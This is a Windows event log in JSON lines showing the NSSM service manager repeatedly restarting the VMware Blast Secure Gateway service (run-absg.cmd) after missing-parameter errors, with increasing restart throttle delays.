{"@timestamp":1646746892615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158048","0"]}}},"module":"Application","provider":"nssm","sequence":161451}}
{"@timestamp":1646746892617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158048","158048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161452}}
{"@timestamp":1646746892636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161453}}
{"@timestamp":1646746892637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161454}}
{"@timestamp":1646746892637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161455}}
{"@timestamp":1646746892638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161456}}
{"@timestamp":1646747021146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161457}}
{"@timestamp":1646747021148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161458}}
{"@timestamp":1646747021148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157668","0"]}}},"module":"Application","provider":"nssm","sequence":161459}}
{"@timestamp":1646747021149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157668","157668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161460}}
{"@timestamp":1646747021171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161461}}
{"@timestamp":1646747021171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161462}}
{"@timestamp":1646747021172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161463}}
{"@timestamp":1646747021173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161464}}
{"@timestamp":1646747149673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161465}}
{"@timestamp":1646747149675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161466}}
{"@timestamp":1646747149675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157020","0"]}}},"module":"Application","provider":"nssm","sequence":161467}}
{"@timestamp":1646747149676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157020","157020","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161468}}
{"@timestamp":1646747149692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161469}}
{"@timestamp":1646747149693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161470}}
{"@timestamp":1646747149693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161471}}
{"@timestamp":1646747149694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161472}}
{"@timestamp":1646747278206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161473}}
{"@timestamp":1646747278208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161474}}
{"@timestamp":1646747278209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157268","0"]}}},"module":"Application","provider":"nssm","sequence":161475}}
{"@timestamp":1646747278209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157268","157268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161476}}
{"@timestamp":1646747278229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161477}}
{"@timestamp":1646747278230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161478}}
{"@timestamp":1646747278230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161479}}
{"@timestamp":1646747278231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161480}}
{"@timestamp":1646747406716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161481}}
{"@timestamp":1646747406717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161482}}
{"@timestamp":1646747406718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157948","0"]}}},"module":"Application","provider":"nssm","sequence":161483}}
{"@timestamp":1646747406720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157948","157948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161484}}
{"@timestamp":1646747406739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161485}}
{"@timestamp":1646747406740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161486}}
{"@timestamp":1646747406740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161487}}
{"@timestamp":1646747406741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161488}}
{"@timestamp":1646747535238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161489}}
{"@timestamp":1646747535239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161490}}
{"@timestamp":1646747535240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157540","0"]}}},"module":"Application","provider":"nssm","sequence":161491}}
{"@timestamp":1646747535240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157540","157540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161492}}
{"@timestamp":1646747535261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161493}}
{"@timestamp":1646747535262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161494}}
{"@timestamp":1646747535262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161495}}
{"@timestamp":1646747535263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161496}}
{"@timestamp":1646747663760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161497}}
{"@timestamp":1646747663760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161498}}
{"@timestamp":1646747663762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155496","0"]}}},"module":"Application","provider":"nssm","sequence":161499}}
{"@timestamp":1646747663764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155496","155496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161500}}
{"@timestamp":1646747663781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161501}}
{"@timestamp":1646747663781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161502}}
{"@timestamp":1646747663782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161503}}
{"@timestamp":1646747663783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161504}}
{"@timestamp":1646747793340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161505}}
{"@timestamp":1646747793577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161506}}
{"@timestamp":1646747793578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158592","0"]}}},"module":"Application","provider":"nssm","sequence":161507}}
{"@timestamp":1646747793579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158592","158592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161508}}
{"@timestamp":1646747793596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157980","0"]}}},"module":"Application","provider":"nssm","sequence":161509}}
{"@timestamp":1646747793596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157980","158592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161510}}
{"@timestamp":1646747793612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161511}}
{"@timestamp":1646747793613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161512}}
{"@timestamp":1646747793613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161513}}
{"@timestamp":1646747794260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161514}}
{"@timestamp":1646747794260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161515}}
{"@timestamp":1646747794262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158060","0"]}}},"module":"Application","provider":"nssm","sequence":161516}}
{"@timestamp":1646747794263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158060","158060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161517}}
{"@timestamp":1646747794280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161518}}
{"@timestamp":1646747794280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161519}}
{"@timestamp":1646747794281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161520}}
{"@timestamp":1646747794282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","2000"]}}},"module":"Application","provider":"nssm","sequence":161521}}
{"@timestamp":1646747796752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161522}}
{"@timestamp":1646747796756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161523}}
{"@timestamp":1646747796757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157920","0"]}}},"module":"Application","provider":"nssm","sequence":161524}}
{"@timestamp":1646747796758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157920","157920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161525}}
{"@timestamp":1646747796775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161526}}
{"@timestamp":1646747796775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161527}}
{"@timestamp":1646747796776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161528}}
{"@timestamp":1646747796777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","4000"]}}},"module":"Application","provider":"nssm","sequence":161529}}
{"@timestamp":1646747801244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161530}}
{"@timestamp":1646747801246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161531}}
{"@timestamp":1646747801247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158220","0"]}}},"module":"Application","provider":"nssm","sequence":161532}}
{"@timestamp":1646747801247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158220","158220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161533}}
{"@timestamp":1646747801263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161534}}
{"@timestamp":1646747801264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161535}}
{"@timestamp":1646747801265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161536}}
{"@timestamp":1646747801265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","8000"]}}},"module":"Application","provider":"nssm","sequence":161537}}
{"@timestamp":1646747809739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161538}}
{"@timestamp":1646747809740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161539}}
{"@timestamp":1646747809740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158364","0"]}}},"module":"Application","provider":"nssm","sequence":161540}}
{"@timestamp":1646747809741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158364","158364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161541}}
{"@timestamp":1646747809759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161542}}
{"@timestamp":1646747809759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161543}}
{"@timestamp":1646747809760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161544}}
{"@timestamp":1646747809761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","16000"]}}},"module":"Application","provider":"nssm","sequence":161545}}
{"@timestamp":1646747826375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161546}}
{"@timestamp":1646747826375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161547}}
{"@timestamp":1646747826388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157976","0"]}}},"module":"Application","provider":"nssm","sequence":161548}}
{"@timestamp":1646747826388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157976","157976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161549}}
{"@timestamp":1646747826406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161550}}
{"@timestamp":1646747826407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161551}}
{"@timestamp":1646747826407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161552}}
{"@timestamp":1646747826408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","32000"]}}},"module":"Application","provider":"nssm","sequence":161553}}
{"@timestamp":1646747858983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161554}}
{"@timestamp":1646747858984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161555}}
{"@timestamp":1646747858984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158272","0"]}}},"module":"Application","provider":"nssm","sequence":161556}}
